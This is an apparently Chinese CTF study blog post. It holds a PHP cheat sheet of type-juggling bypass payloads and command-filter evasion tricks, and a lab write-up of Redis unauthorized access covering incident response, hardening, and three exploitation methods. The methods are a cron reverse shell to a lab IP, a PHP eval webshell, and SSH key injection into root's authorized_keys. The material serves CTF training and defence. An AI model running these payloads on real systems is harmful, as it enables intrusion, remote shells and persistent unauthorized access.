魔术方法的利用

2026奶龙杯题解

> 摘自hello-ctf




---
### 1. 下载 PHP（选 Zip 版，不要 installer）

打开 → https://windows.php.net/download

下载 **VS16 x64 Non Thread Safe** 的 Zip 包（比如 `php-8.3.x-nts-Win32-vs16-x64.zip`）

### 2. 解压

把 zip 解压到 `C:\php`（路径不要有空格和中文）

### 3. 加环境变量

1. 按 `Win + R`，输入 `sysdm.cpl`，回车
2. 点 **高级** → **环境变量**
3. 下方 **系统变量** 找到 `Path`，双击
4. 点 **新建**，输入 `C:\php`，确定

### 4. 验证

打开 **新的** CMD 或 PowerShell：

```cmd
php -v
```

看到版本号就成功了。



## 5. 必装扩展（左侧四个方块图标 → 搜索安装）

| 扩展名               | 作用                           |
| -------------------- | ------------------------------ |
| **PHP Intelephense** | PHP 语法高亮、补全、报错提示   |
| **Code Runner**      | 右键直接运行代码，不用敲命令行 |

------

## 6. 关联 PHP

装完扩展后，按 `Ctrl + Shift + P`，输入 `settings json`，打开 **首选项: 打开用户设置 (JSON)**。

添加这一行（路径改成你的）：

```json
{
    "php.validate.executablePath": "C:\\php\\php.exe",
    "code-runner.executorMap": {
        "php": "C:\\php\\php.exe"
    }
}
```

---

## 一、PHP 基础语法

### 1. PHP 脚本格式
PHP 脚本以 `<?php` 开始，以 `?>` 结束：
```php
<?php
    // 执行的相关PHP代码
?>
```

### 2. 变量、赋值与运算

**变量命名规则：**
- 以 `$` 符号开始，后面跟着变量名称
- 变量名区分大小写（`$y` 和 `$Y` 是两个不同的变量）
- PHP 是弱类型语言，不必声明数据类型

```php
<?php
$x_int = 1024;
$y_int = 0xFFF;        // 十六进制
$float_num = 1.5;
$txt_string = "Hello CTF!";
$stat_Boolean = true;
?>
```

**赋值与复合赋值运算符：**

| 运算符 | 等同于 | 描述 |
|--------|--------|------|
| `x = y` | `x = y` | 左操作数被设置为右侧表达式的值 |
| `x ?= y` | `x = x ? y` | 支持 `+=`, `-=`, `*=`, `/=`, `%=`, `.=` |

**逻辑运算符：**

| 运算符 | 名称 | 描述 |
|--------|------|------|
| `x and` / `x && y` | 与 | 如果 x 和 y 都为 true，则返回 true |
| `x or` / `x \|\| y` | 或 | 如果 x 和 y 至少有一个为 true，则返回 true |
| `x xor y` | 异或 | 如果 x 和 y 有且仅有一个为 true，则返回 true |
| `!x` | 非 | 如果 x 不为 true，则返回 true |

### 3. 类型比较

- **松散比较 `==`**：只比较值，不比较类型
- **严格比较 `===`**：既比较值，也比较类型

```php
0 == false;   // bool(true)
0 === false;  // bool(false)
```

### 4. 输出方式

- **`echo`**：可以输出一个或多个字符串
- **`print`**：只允许输出一个字符串，返回值总为 1

```php
<?php
echo "Hello CTF 很有趣！";
?>
```

### 5. 数组

**使用 `array()` 函数创建数组：**
```php
<?php
$cars = array("Hello", "CTF");
echo "I like " . $cars[0] . " " . $cars[1] . ".";
?>
```

**使用 `[]` 定义数组（PHP 5.4+）：**
```php
$z = ['H', 'e', 'l', 'l', 'o'];
$z[0] = 'H';
$z[1] = 'r';
```

### 6. 魔术常量

形如 `__XXX__` 的预定义常量被称为魔术常量：

| 魔术常量 | 含义 |
|----------|------|
| `__FILE__` | 返回文件的完整路径和文件名 |
| `__LINE__` | 返回当前行号 |
| `__DIR__` | 返回文件所在目录 |
| `__FUNCTION__` | 返回函数名称 |
| `__CLASS__` | 返回类名称 |
| `__METHOD__` | 返回类的方法名 |

```php
highlight_file(__FILE__); // 代码高亮显示当前文件内容
```

### 7. 表单数据接收

| 超全局变量 | 作用 |
|------------|------|
| `$_GET` | 接受 GET 请求传递的参数 |
| `$_POST` | 接受 POST 请求传递的参数 |
| `$_REQUEST` | 接受 GET、POST 以及 Cookie 请求传递的参数 |
| `$_COOKIE` | 接受 Cookie 数据 |
| `$_SESSION` | 接受 Session 数据 |
| `$_SERVER` | 包含服务器和执行环境信息 |

**`$_REQUEST` 的优先级：** 默认情况下，`$_REQUEST` 的优先级为 `EGPCS`（Environment, Get, Post, Cookie, Server），即同名的 POST 变量会覆盖 GET 变量。

### 8. 常用内建函数

**文件操作函数：**
- `include()`：导入并执行指定的 PHP 文件，文件不存在时产生警告（Warning）
- `require()`：类似于 `include()`，文件不存在时产生致命错误（Fatal Error）
- `include_once()` / `require_once()`：只导入文件一次，防止重复包含
- `fopen()`：打开一个文件或 URL
- `file_get_contents()`：读取文件的全部内容到一个字符串
- `file_put_contents()`：将一个字符串写入文件
- `highlight_file()`：高亮显示文件内容

**代码/命令执行函数：**
- `eval()`：执行字符串中的 PHP 代码
- `assert()`：检查条件是否为 true，可执行代码
- `system()`：执行外部程序并显示输出
- `shell_exec()`：通过 shell 执行命令并以字符串返回
- `exec()`：执行外部程序
- `passthru()`：执行外部程序并显示原始输出

**反序列化函数：**
- `unserialize()`：将已序列化的字符串转换回 PHP 值

**数据库操作函数：**
- `mysql_query()` / `mysqli_query()`：发送 MySQL 查询

**其他常用函数：**
- `preg_replace()`：执行正则表达式搜索和替换（当第一个参数为 `/e` 修饰符时可执行代码）
- `create_function()`：创建匿名 lambda 函数（PHP 7.2+ 已废弃）
- `strpos()` / `stripos()`：查找字符串首次出现的位置
- `strstr()` / `stristr()`：查找字符串的首次出现，返回子串
- `substr()`：返回字符串的子串
- `intval()`：获取变量的整数值
- `md5()`：计算字符串的 MD5 散列值
- `sha1()`：计算字符串的 SHA-1 散列值
- `strcmp()`：二进制安全字符串比较
- `json_decode()`：对 JSON 字符串进行解码
- `extract()`：从数组中将变量导入到当前符号表
- `parse_str()`：将字符串解析到变量中

---

## 二、PHP 函数安全与常见绕过

### 1. `is_numeric()` 绕过

**作用：** 检测变量是否是数字或数字字符串。

**绕过方法：** 在数字前面或后面加上以下空白字符：
- `%0a`（换行符 LF）
- `%0b`（垂直制表符 VT）
- `%0c`（换页符 FF）
- `%0d`（回车符 CR）
- `%09`（水平制表符 HT）
- `%20`（空格）
- `%00`（空字节）

**例题：**
```php
<?php
$a = $_GET['a'];
if (is_numeric($a)) {
    exit();
} elseif ($a == 404) {
    echo "flag";
}
?>
```
**Payload：** `?a=1%0a` 或 `?a=404%00`

---

### 2. PHP 浮点精度问题（IEEE 754）

PHP 采用 **IEEE 754 双精度浮点数** 标准，使用 **1位符号 + 11位指数 + 52位尾数** 表示浮点数。

**核心问题：** 浮点数在二进制中无法精确表示某些十进制小数，导致精度丢失。

```php
echo 0.57 * 100;  // 可能输出 56.99999999999999
echo intval(0.57 * 100);  // 输出 56，而非 57
echo intval(0.58 * 100);  // 输出 57，而非 58
```

**解决方法：**
```php
intval(0.58 * 1000 / 10);  // 先放大再缩小，避免精度问题
```

**CTF 例题：**
```php
$flag = 'flag{test}';
extract($_GET);
if (strstr($num, '1')) {
    die('Out!');
}
if ($num == 1) {
    var_dump($flag);
}
?>
```
**Payload：** `?num=0.999999999999999999999999`
- 该值在浮点表示中会被近似为 1，满足 `$num == 1`
- 但 `strstr()` 找不到字符 `'1'`，成功绕过

---

### 3. 比较和类型转换漏洞

#### 3.1 松散比较 `==` 的类型转换规则

当不同类型的值使用 `==` 比较时，PHP 会自动进行类型转换：

| 场景 | 结果 |
|------|------|
| 字符串 vs 数字 | 字符串转为数字 |
| `"123" == 123` | `true` |
| `"123a" == 123` | `true`（取起始数字部分） |
| `"a123" == 0` | `true`（无数字开头，转为 0） |
| `"0x1e240" == 123456` | `true`（十六进制解析） |
| `"1e2" == 100` | `true`（科学计数法） |
| `0 == "a"` | `true`（字符串转数字为 0） |
| `true == "任意字符串"` | `true` |

**关键规则：** 字符串转数字时，如果包含 `e`、`.`、`E`，会作为 float 处理；否则为 int。如果字符串起始部分为数值，则采用起始数值；否则一律为 0。

#### 3.2 严格比较 `===`

`===` 要求值和类型都相同，不会发生自动类型转换。

```php
123 === "123";  // false
0 === false;    // false
```

#### 3.3 URL 双重编码绕过

**攻防世界 PHP2 例题：**
```php
<?php
if ("admin" === $_GET[id]) {
    echo("<p>not allowed!</p>");
    exit();
}
$_GET[id] = urldecode($_GET[id]);
if ($_GET[id] == "admin") {
    echo "<p>Access granted!</p>";
    echo "<p>Key: xxxxxxx </p>";
}
?>
```
**分析：** 第一次比较使用 `===`，第二次使用 `==` 且先进行 `urldecode()`。
**Payload：** 将 `admin` 进行两次 URL 编码：
- `admin` → `%61%64%6d%69%6e` → `%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65`
- 第一次 `$_GET[id]` 获取的是 `%61%64%6d%69%6e`，不等于 `"admin"`（`===`）
- 经过 `urldecode()` 后变为 `admin`，`"admin" == "admin"` 为 `true`

---

### 4. PHP 弱类型比较绕过

#### 4.1 `strcmp()` 绕过

**函数原型：** `int strcmp(string $str1, string $str2)`

**返回值：** 相等返回 0，小于返回 <0，大于返回 >0。

**绕过原理：** `strcmp()` 要求传入字符串类型，如果传入数组会报错并返回 `NULL`，而 `NULL == 0` 为 `true`。

**例题：**
```php
$flag = 'flag{123}';
if (strcmp($flag, $_GET['str']) == 0) {
    echo $flag;
} else {
    echo "Out!";
}
?>
```
**Payload：** `?str[]=xxx`（传入数组）

> **注意：** 在 PHP 5.3 之前，`strcmp` 的行为有所不同，返回的是 str2 第一位字母 ASCII 减去 str1 第一位字母。

#### 4.2 `is_numeric()` 二次绕过

利用类型转换特性（PHP < 8.0.0），字符串会先转为数值再比较：

```php
$flag = 'flag{111}';
$id = $_GET['id'];
if (is_numeric($id) > 0) {
    echo 'Out!';
} else {
    if ($id > 233) {
        echo $flag;
    }
}
?>
```
**Payload：**
- `?id=2333,`（逗号截断）
- `?id=2333%00`（空字节截断）
- `?id=2333A`（字母截断）

#### 4.3 `switch` 语句绕过

`switch` 在进行数字类型的 `case` 判断时，会自动将参数转换为 `int` 类型。

**例题：**
```php
$a = "233a";
$flag = "flag{Give you FLAG}";
switch ($a) {
    case 1: echo "No Flag"; break;
    case 2: echo "No Flag"; break;
    case 233: echo $flag; break;
    default: $a = 233; echo "Haha..."; break;
}
?>
```
**输出：** `flag{Give you FLAG}`
- `"233a"` 被转换为 `233`，匹配 `case 233`

#### 4.4 `md5()` 绕过

**函数原型：** `string md5(string $str [, bool $raw_output = false])`

**绕过方式一：0e 科学计数法绕过（松散比较 `==`）**

当 md5 哈希值以 `0e` 开头且后面全为数字时，PHP 会将其解析为科学计数法 `0 × 10^n = 0`。

```php
var_dump(0e912 == 0e112);  // true，都被解析为 0
```

**常见 0e 开头的 md5 值：**

| 原值 | md5 值 |
|------|--------|
| `240610708` | `0e462097431906509019562988736854` |
| `314282422` | `0e990995504821699494520356953734` |
| `QNKCDZO` | `0e830400451993494058024219903391` |
| `QLTHNDT` | `0e405967825401955372549139051580` |
| `EEIZDOI` | `0e782601363539291779881938479162` |
| `TUFEPMC` | `0e839407194569345277863905212547` |

**例题（松散比较）：**
```php
$flag = "flag{THIS_IS_REAL_FLAG}";
$v1 = $_GET['gat'];
$v2 = $_GET['tag'];
if ($v1 != $v2 && md5($v1) == md5($v2)) {
    echo $flag;
}
?>
```
**Payload：** `?gat=240610708&tag=314282422`

**绕过方式二：数组绕过（严格比较 `===`）**

`md5()` 无法处理数组，传入数组会报错并返回 `NULL`，两个 `NULL === NULL` 为 `true`。

**例题（严格比较）：**
```php
$flag = "flag{THIS_IS_REAL_FLAG}";
$str1 = $_GET['gat'];
$str2 = $_GET['tag'];
if (md5($str1) === md5($str2)) {
    echo $flag;
}
?>
```
**Payload：** `?gat[]=&tag[]=`（传入两个空数组）

**绕过方式三：自身 md5 相等**

找一个值，其自身和 md5 值都以 `0e` 开头：
- `0e215962017` 的 md5 为 `0e291242476940776845150308577824`

**绕过方式四：md5 强碰撞**

当存在强制类型转换 `(string)` 且使用 `===` 时，需要找到两个不同字符串具有相同 md5 值：

**Payload：**
```
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2

b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
```

---

### 5. `sha1()` 绕过

与 `md5()` 类似，`sha1()` 同样无法处理数组，也存在 0e 开头的碰撞值：

**常见 sha1 后以 0e 开头的值：**
- `aaroZmOk`
- `aaK1STfY`
- `aaO8zKZF`
- `aa3OFF9m`
- `0e1290633704`
- `10932435112`

---

### 6. `intval()` 绕过

**函数原型：** `int intval(mixed $var [, int $base = 10])`

**绕过方法：**

| 方法 | 示例 | 说明 |
|------|------|------|
| 进制转换 | `0x117c` / `010574` | 十六进制 / 八进制 |
| 科学计数法 | `4476e0` | `e` 特殊，可表示科学计数法 |
| 小数绕过 | `3.1` | 转 int 时只保留整数部分 |
| 字符串拼接 | `3ab` | 遇到字母停止读取 |
| 两次取反 | `~~10` | 位运算绕过 |
| 算术运算 | `5+5` / `2*5` | 表达式求值 |
| 空数组 | `[]` | 弱比较时 `[] == 0` |

**注意：** 在 PHP ≤ 7.0.9 时，`intval("1e2")` 返回 `1`（遇到 `e` 停止）；但在 PHP > 7.0.9 时返回 `100`。

---

### 7. `preg_match()` 绕过

**绕过方法一：数组绕过**

`preg_match()` 第二个参数要求字符串，传入数组时返回 `false`（不匹配），可绕过 `if` 判断。

```php
if (preg_match("/[0-9]/", $num)) {
    die("no no no!");
} else if (intval($num)) {
    echo $flag;
}
?>
```
**Payload：** `num[]=2`

**绕过方法二：`%0a` 换行符绕过**

当正则使用 `^` 和 `$` 锚点时，可以利用换行符绕过：
```php
preg_match('/^gxngxngxn$/', $gxn)
?>
```
**Payload：** `gxn=gxngxngxn%0a`

---

### 8. `in_array()` 与 `array_search()` 绕过

**函数原型：**
- `bool in_array(mixed $needle, array $haystack [, bool $strict = FALSE])`
- `mixed array_search(mixed $needle, array $haystack [, bool $strict = FALSE])`

**绕过原理：** 当 `strict` 为 `false`（默认）时，使用松散比较 `==`。

```php
$array = [0, 1, 2, '3'];
var_dump(in_array('abc', $array));   // true，"abc" == 0
var_dump(in_array('1bc', $array));   // true，"1bc" == 1
```

**数组绕过（严格模式）：**
```php
if (!is_array($_GET['test'])) exit();
$test = $_GET['test'];
for ($i = 0; $i < count($test); $i++) {
    if ($test[$i] === "admin") {
        echo "error"; exit();
    }
    $test[$i] = intval($test[$i]);
}
if (array_search("admin", $test) === 0) {
    echo "flag";
}
?>
```
**Payload：** `test[]=0`
- `array_search("admin", [0])` 中 `"admin" == 0` 为 `true`，返回键名 `0`

---

### 9. 变量覆盖

#### 9.1 `extract()` 变量覆盖

`extract()` 从数组中将变量导入到当前符号表，如果数组键名与已有变量同名，会覆盖原有变量。

```php
$flag = 'flag{test}';
extract($_GET);  // 用户传入的变量可覆盖 $flag
```

#### 9.2 `parse_str()` 变量覆盖

```php
parse_str($_SERVER['QUERY_STRING']);  // 解析查询字符串到变量
```

#### 9.3 `$$` 变量覆盖

```php
$a = "b";
$$a = "c";  // 等价于 $b = "c"
```

---

### 10. 文件包含与伪协议

**常见伪协议：**

| 伪协议 | 用途 | 条件 |
|--------|------|------|
| `php://filter` | 读取文件并进行编码转换 | `allow_url_fopen` 和 `allow_url_include` 关闭也可用 |
| `php://input` | 读取 POST 数据流 | 需开启 `allow_url_include` |
| `data://` | 内嵌数据 | 需开启 `allow_url_fopen` |
| `phar://` | 访问 Phar 压缩包内文件 | — |
| `zip://` | 访问 ZIP 压缩包内文件 | — |
| `file://` | 访问本地文件 | — |

**`php://filter` 读取源码：**
```
php://filter/read=convert.base64-encode/resource=flag.php
```

**`php://input` 代码执行：**
```php
$file = file_get_contents("php://input");  // 获取 POST 原始数据
```

**`%00` 截断（PHP ≤ 5.2）：**
```
?file=flag.php%00
```

---

### 11. 反序列化漏洞

**`__wakeup()` 绕过（CVE-2016-7124）：**

当对象的属性个数大于实际属性个数时，`__wakeup()` 方法不会被执行。

```php
O:4:"Test":2:{s:1:"a";s:5:"hello";}   // 正常
O:4:"Test":3:{s:1:"a";s:5:"hello";}   // 属性数改为3，绕过 __wakeup
```

**Phar 反序列化：**

通过 `phar://` 协议触发反序列化，即使目标代码没有直接调用 `unserialize()`。

---

### 12. 命令执行绕过

**常见命令执行函数：**
- `system()`, `exec()`, `shell_exec()`, `passthru()`, `popen()`, `proc_open()`
- 反引号 `` ` ``（等同于 `shell_exec()`）

**绕过技巧：**
- 空格绕过：`$IFS`, `${IFS}`, `$IFS$9`, `<`, `<>`
- 命令分隔符：`;`, `&&`, `\|\|`, `|`, `&`
- 黑名单绕过：`ca\t`, `c''at`, `c""at`, `c\at`, `c${9}at`, `$(printf '\x63\x61\x74')`
- 编码绕过：`echo 'Y2F0Cg==' \| base64 -d \| bash`
- 通配符：`/???/??t /???/???s??`（匹配 `/bin/cat /etc/passwd`）

---

### 13. 正则表达式绕过

**`ereg()` `%00` 截断（PHP < 5.3）：**

```php
ereg("^[a-zA-Z0-9]+$", $_GET['id'])
?>
```
**Payload：** `?id=1%00*`（`%00` 截断后正则只匹配到 `1`）

**`preg_replace()` `/e` 修饰符代码执行：**

```php
preg_replace('/(.*)/e', 'system("ls")', 'hello');
```

---

### 14. 伪随机数

**`mt_rand()` / `rand()`：**

PHP 的随机数生成器是伪随机的，种子确定后序列可预测。可通过已知的随机数反推种子（使用 `php_mt_seed` 工具）。

---

### 15. JSON 绕过

利用 `json_decode` 解码后的类型转换：

```php
$message = json_decode($_GET['message']);
if ($message->key == "admin") {
    echo $flag;
}
?>
```
**Payload：** `message={"key":0}`
- `"admin"` 与 `0` 松散比较为 `true`

---

### 16. 特殊 PHP 代码格式

**短标签：**
```php
<?= "Hello" ?>   // 等价于 <?php echo "Hello" ?>
```

**ASP 风格（已废弃）：**
```php
<% echo "Hello" %>
```

**脚本风格：**
```php
<script language="php">echo "Hello";</script>
```

---

## 三、核心知识点速查表

| 漏洞类型 | 关键函数 | 绕过方法 |
|----------|----------|----------|
| 数字检测绕过 | `is_numeric()` | `%0a`, `%0b`, `%0c`, `%0d`, `%09`, `%00` |
| 字符串比较绕过 | `strcmp()` | 传入数组返回 `NULL == 0` |
| 哈希松散比较 | `md5()`, `sha1()` | 找 `0e` 开头碰撞值 |
| 哈希严格比较 | `md5()`, `sha1()` | 传入数组返回 `NULL === NULL` |
| 整数转换绕过 | `intval()` | 进制转换、科学计数法、小数 |
| 正则匹配绕过 | `preg_match()` | 数组绕过、`%0a` 换行符 |
| 数组搜索绕过 | `in_array()`, `array_search()` | 利用 `==` 松散比较 |
| 类型转换绕过 | `switch` | 字符串自动转 `int` |
| 变量覆盖 | `extract()`, `parse_str()` | 传入同名变量覆盖 |
| 文件包含 | `include()`, `require()` | 伪协议、`%00` 截断 |
| 代码执行 | `eval()`, `assert()`, `preg_replace(/e/)` | 直接注入 PHP 代码 |
| 命令执行 | `system()`, `exec()` | 空格替换、编码、通配符 |
| 反序列化 | `unserialize()` | `__wakeup` 绕过、Phar 协议 |

---

php基础

DataCon靶场题解

> 乱打，linux靶机1应急响应，redis未授权访问6379，如何修复，三种利用方法

---
## 一、

首先进去看看是centos

可以尝试梭一把，但是有点多，这里我学习下网上的思路
![图片.png](/static/img/b5160f57f5dd31bd24debcb872403ffd.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

查看history，这里defend用户没有执行过什么
![图片.png](/static/img/21434d784a0b3e8c4fdd95df9b71872c.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

所以我们切换到root用户，查看，发现第一个flag{thisismybaby}
![图片.png](/static/img/6569cb619acbaa54d2d2557f4b09963f.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)


:::tip{title="Linux中的/etc/rc.d/rc.local文件"}
在Linux系统中，/etc/rc.d/rc.local文件是一个用于添加开机启动命令的脚本。这个文件通常是/etc/rc.local的软链接，类似于Windows中的快捷方式。

当系统启动时，会自动执行/etc/rc.local中的命令，但默认情况下，这个文件没有执行权限。

因此，如果需要在开机时自动执行某些命令，就需要给/etc/rc.d/rc.local文件添加执行权限。

如何设置开机自启动命令

要设置应用程序在开机时自动启动，可以在/etc/rc.d/rc.local文件中添加相应的命令。例如，如果要设置nginx在开机时自动启动，可以按照以下步骤操作：

    确保/etc/rc.d/rc.local文件具有执行权限。如果没有，可以使用以下命令修改权限： chmod +x /etc/rc.d/rc.local

    编辑/etc/rc.d/rc.local文件，在其中添加启动nginx的命令。例如： # 启动nginx服务 /usr/sbin/nginx

    保存文件并重启计算机以测试服务是否能够自动启动。
:::

刚才看到攻攻击者操作了这个文件，所以我们看下，得到第二个flag{kfcvme50}
![图片.png](/static/img/87458cc6ef07e175445efed75c6df66e.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

看了看网上教程，有点麻烦，这里我们使用whoamifuck https://github.com/enomothem/Whoamifuck

这里-l扫出来一个192.168.75.129，应该是攻击者ip了
![图片.png](/static/img/ca88ef5241702a1b15afaf29fd969b37.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)
或者通过，查看redis日志



```bash
grep "Accepted" /var/log/redis/redis.log
```

![图片.png](/static/img/7bfc1ef3dcbb0cf599a089cd8b106cb7.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

这里-r扫出来一个redis未授权，我们查看redis日志
![图片.png](/static/img/a06c4629f39daf1dbde449cd36030acc.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

直接得到flag{P@ssW0rd_redis}
![图片.png](/static/img/30b80e9a9ffdd5b8a8f9df77ca34a1dd.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)


这里我们可以进一步排查其他的redis未授权组合招

```bash
tail -f /var/log/redis/redis.log 2>/dev/null
```

```bash
cat /root/.ssh/authorized_keys 2>/dev/null
```

```bash
crontab -l
```

![图片.png](/static/img/e5b1eccd1600484d01ffab5a994149fb.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

通关

![图片.png](/static/img/f2cbf2d256d08c6e13fc46ba4a880846.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)



### 如何修复

我们可以删除攻击者写入的 SSH 公钥

```bash
rm -f /root/.ssh/authorized_keys
```
删除 Redis 持久化文件中的公钥

```bash
# 删除被污染的 dump.rdb
rm -f /var/lib/redis/dump.rdb

# 重启 Redis 重新生成干净的 rdb
systemctl restart redis
```
清理 rc.local 中的恶意内容

```bash
# 查看内容
cat /etc/rc.d/rc.local

# 删除攻击者添加的 flag 行或恶意命令
# 用编辑器删掉异常行，保留系统原有的 touch /var/lock/subsys/local
vi /etc/rc.d/rc.local
```

检查并删除可疑用户
```bash
# 检查 /etc/passwd 中新增的用户
cat /etc/passwd | grep -E "redis|bash$"

# 如果 redis 用户是攻击者创建的，删除用户及家目录
userdel -r redis
```

![图片.png](/static/img/30b988c4125d275b838ea668b1c8edbe.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)
检查定时任务

```bash
# root 的 crontab
crontab -l
crontab -e  # 删除异常任务

# 系统级定时任务
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
cat /etc/crontab
```

检查其他持久化后门


```bash
# 检查 systemd 自启动服务
ls -la /etc/systemd/system/
ls -la /usr/lib/systemd/system/

# 检查 /etc/profile、~/.bashrc 等是否被写入反弹 shell
cat /etc/profile | tail -20
cat /root/.bashrc | tail -20
```
修复 Redis（核心漏洞）


```bash

vi /etc/redis.conf

requirepass YourStrongPassword123!@#

把bind 0.0.0.0变为bind 127.0.0.1

```


![图片.png](/static/img/3db012511ec261c0151f111328796678.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)
修改 Redis 运行用户（不要 root）


```bash
# 创建 redis 用户
useradd -r -s /sbin/nologin redis

# 修改 redis 配置文件中的用户
vi /etc/redis.conf
# 找到并设置：
# supervised systemd
```

修改服务文件 /usr/lib/systemd/system/redis.service


```bash

[Service]
User=redis
Group=redis



# 修改数据目录权限
chown -R redis:redis /var/lib/redis
chown -R redis:redis /var/log/redis

# 重启服务
systemctl daemon-reload
systemctl restart redis
```
## 二、
这里开打，首先开启redis服务

```bash
redis-server /etc/redis.conf
```
看下端口确实存在

![图片.png](/static/img/e1c3a4085a3b55c660156ec2c85dfdf1.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

这里有文章用了

```bash
hydra -l root -P dic.txt 172.16.0.109 ssh -V -t 4
```
来爆破root密码，由于ftp时候我们尝试过这个工具的使用，所以这里就不打了，直接打redis

这篇文章介绍了三种利用方式，我们来试一下
https://blog.csdn.net/Destiny_one/article/details/121650150



首先使用


```bash
redis-cli -h 192.168.40.152 -p 6379
```
> redis-cli：Redis 自带的命令行客户端工具，用于连接并操作 Redis 服务器。
> 
> -h 192.168.40.152：指定要连接的 Redis 服务器 IP 地址（host）。
> 
> -p 6379：指定 Redis 服务的端口号（port），6379 是 Redis 的默认端口

![图片.png](/static/img/d7bcd125e7924464a6fd47bda19ad996.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

使用info查看配置
![图片.png](/static/img/0792e394d10591ca8ac3a9987e995a05.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

`keys *`查看密钥

![图片.png](/static/img/4fbf243fb03b675b687b33a132443e7e.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)




### 1.这里通过计划任务反弹shell


```bash
set x "\n* * * * * /bin/bash -i >& /dev/tcp/192.168.137.136/6668 0>&1\n"

CentOS 系列（RHEL/CentOS/ Rocky / AlmaLinux）：

config set dir /var/spool/cron/
config set dbfilename root

Ubuntu / Debian 系列：

config set dir /var/spool/cron/crontabs/
config set dbfilename root

save

```
![图片.png](/static/img/1cdaad23637a9eb12b607d598eb5c88e.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)


![图片.png](/static/img/3d99b1bd89bbaba82c2f61b741188890.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

### 2.写shell
这里因为没有web服务我看，所以直接写tmp了


```bash
set x "\n<?php @eval($_POST['test']);?>\n"
config set dir /www/admin/localhost_80/wwwroot/
config set dbfilename shell.php
save
```
![图片.png](/static/img/f47e79a11099df2921d5df9af817a6cf.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

![图片.png](/static/img/caf1f298e450d63324ca1a53f6faeb3c.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

### 3.ssh公钥写入

先生成一个

```bash
ssh-keygen -t rsa
```
![图片.png](/static/img/4e8d0f3734fdacea73c86b0e10598797.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)


![图片.png](/static/img/ee652dbdc2f6264af8877d0e0f541509.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)
> id_rsa —— 私钥（攻击机保留，用来登录）
> 
> id_rsa.pub —— 公钥（要写入靶机）

构造包含公钥的文本文件
```bash
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/1.txt
```
![图片.png](/static/img/5c920b38c4407eea0a32bd19bd4b3861.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

```bash

set x "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDe1kpuTgCdV461iwUGItQ1hRbfmU32qc4QdSfAixwbJnudNik3GkqR/3Ae2MilZpmgcMk4lYE7CO5totcaQuUMU8OlYTOovX8T46cb7j8v2z9LrN3aBWGAOrPdQZNSxcqsEWoWf3AbQ7D2b84TEjdpyoiMyX0lBvmpujby0dNekRk1OKyHzgCTyo3u85z/ycbH1p7CZGg9u26ArTcXBjbu3dxFG1CwunU6w3enrawap/350aUJGgPND8kr/4m2dbWCN98NRjC4Ys9GDWT/OiULG8UyGlatByOzYbFwylaMQe5qD8sWXcYkCK5DvAKKa0kY5jIiBxdY+uXyX3y7McjKq+PCXNpj+jHF1/37rUO35MZ9Hq334hcW3Bs/t0WarejaHp29fl7/RO52/QZzRSadC660+ibMsn+zKtuyRc61jyJudCivGIf0DQGqZYiZ+ALYbEDISzLtga//QMLV2JBC1xN6dVLutuo2DB1oNIIohb444E6kyxbeE21Z9kKoTjc= kali@kali\n\n"


config set dir /root/.ssh/
config set dbfilename authorized_keys
save
```

![图片.png](/static/img/217699b81c33822629759c3a5fa2d7d8.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

```bash
ssh -i ~/.ssh/id_rsa root@192.168.40.152
```
![图片.png](/static/img/61ce0402ff827011bf2fe9668dd1d775.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)


这时我们查看.ssh 目录


![图片.png](/static/img/2883ae9558c4cd13668976845590f319.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)